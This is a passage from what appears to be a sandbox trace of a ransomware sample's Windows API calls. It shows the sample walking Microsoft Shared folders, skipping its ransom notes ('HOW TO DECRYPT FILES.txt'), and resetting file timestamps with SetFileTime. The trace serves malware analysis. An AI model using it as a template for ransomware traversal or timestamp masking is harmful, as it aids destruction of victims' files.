ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x74, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0059.631] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.631] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBE7INTL.DLL") returned -1 [0059.631] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBE7INTL.DLL") returned -1 [0059.631] lstrcmpiA (lpString1="", lpString2="VBE7INTL.DLL") returned -1 [0059.631] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM") returned="VBCN6.CHM" [0059.631] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0059.631] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="" [0059.631] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x74, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0059.631] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.631] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBENDF98.CHM") returned -1 [0059.631] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBENDF98.CHM") returned -1 [0059.631] lstrcmpiA (lpString1="", lpString2="VBENDF98.CHM") returned -1 [0059.631] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBE7INTL.DLL") returned="VBE7INTL.DLL" [0059.631] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0059.631] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="" [0059.632] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x74, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0059.632] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBHW6.CHM") returned -1 [0059.632] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBHW6.CHM") returned -1 [0059.632] lstrcmpiA (lpString1="", lpString2="VBHW6.CHM") returned -1 [0059.632] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned="VBENDF98.CHM" [0059.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0059.632] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="" [0059.632] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x74, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0059.632] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBLR6.CHM") returned -1 [0059.632] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBLR6.CHM") returned -1 [0059.632] lstrcmpiA (lpString1="", lpString2="VBLR6.CHM") returned -1 [0059.632] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned="VBHW6.CHM" [0059.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0059.632] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="" [0059.633] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x74, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0059.633] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.633] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBOB6.CHM") returned -1 [0059.633] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBOB6.CHM") returned -1 [0059.633] lstrcmpiA (lpString1="", lpString2="VBOB6.CHM") returned -1 [0059.633] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned="VBLR6.CHM" [0059.633] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0059.633] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="" [0059.633] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x74, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0059.633] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0059.633] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBUI6.CHM") returned -1 [0059.633] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBUI6.CHM") returned -1 [0059.633] lstrcmpiA (lpString1="", lpString2="VBUI6.CHM") returned -1 [0059.633] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned="VBOB6.CHM" [0059.633] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" [0059.634] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\") returned="" [0059.634] FindNextFileA (in: hFindFile=0x4f8260, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x74, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0059.634] FindClose (in: hFindFile=0x4f8260 | out: hFindFile=0x4f8260) returned 1 [0059.634] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0059.634] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.634] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VBE7.DLL") returned -1 [0059.634] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VBE7.DLL") returned -1 [0059.634] lstrcmpiA (lpString1="", lpString2="VBE7.DLL") returned -1 [0059.634] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*") returned="*.*" [0059.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\" [0059.634] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\") returned="" [0059.636] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.636] CloseHandle (hObject=0x90) returned 1 [0059.637] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0059.637] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.637] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0059.637] FindClose (in: hFindFile=0x4f8190 | out: hFindFile=0x4f8190) returned 1 [0059.638] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x420056, dwReserved1=0x3, cFileName="VC", cAlternateFileName="")) returned 1 [0059.638] lstrcmpA (lpString1=".", lpString2="VC") returned -1 [0059.638] lstrcmpA (lpString1="..", lpString2="VC") returned -1 [0059.638] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0059.638] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0059.639] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.639] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.639] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.639] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.639] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0059.639] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.639] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdia100.dll") returned -1 [0059.639] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdia100.dll") returned -1 [0059.639] lstrcmpiA (lpString1="", lpString2="msdia100.dll") returned -1 [0059.640] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*") returned="*.*" [0059.640] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" [0059.640] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\") returned="" [0059.641] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.641] CloseHandle (hObject=0x8c) returned 1 [0059.641] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x4f8498, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0059.641] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.641] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdia90.dll") returned -1 [0059.641] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdia90.dll") returned -1 [0059.641] lstrcmpiA (lpString1="", lpString2="msdia90.dll") returned -1 [0059.641] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\msdia100.dll") returned="msdia100.dll" [0059.641] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" [0059.641] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\") returned="" [0059.642] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x4f8498, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0059.642] FindClose (in: hFindFile=0x4f8190 | out: hFindFile=0x4f8190) returned 1 [0059.642] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="VGX", cAlternateFileName="")) returned 1 [0059.642] lstrcmpA (lpString1=".", lpString2="VGX") returned -1 [0059.642] lstrcmpA (lpString1="..", lpString2="VGX") returned -1 [0059.642] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0059.642] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f8190 [0059.642] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.642] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.642] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.643] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.643] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0059.643] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.643] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VGX.dll") returned -1 [0059.643] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VGX.dll") returned -1 [0059.643] lstrcmpiA (lpString1="", lpString2="VGX.dll") returned -1 [0059.643] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*.*") returned="*.*" [0059.643] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\" [0059.643] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\") returned="" [0059.644] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.644] CloseHandle (hObject=0x8c) returned 1 [0059.645] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0059.645] FindClose (in: hFindFile=0x4f8190 | out: hFindFile=0x4f8190) returned 1 [0059.645] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0059.645] lstrcmpA (lpString1=".", lpString2="Visio Shared") returned -1 [0059.645] lstrcmpA (lpString1="..", lpString2="Visio Shared") returned -1 [0059.645] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="*.*" [0059.645] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8498, cFileName=".", cAlternateFileName="")) returned 0x4f81a0 [0059.646] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.646] FindNextFileA (in: hFindFile=0x4f81a0, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.646] 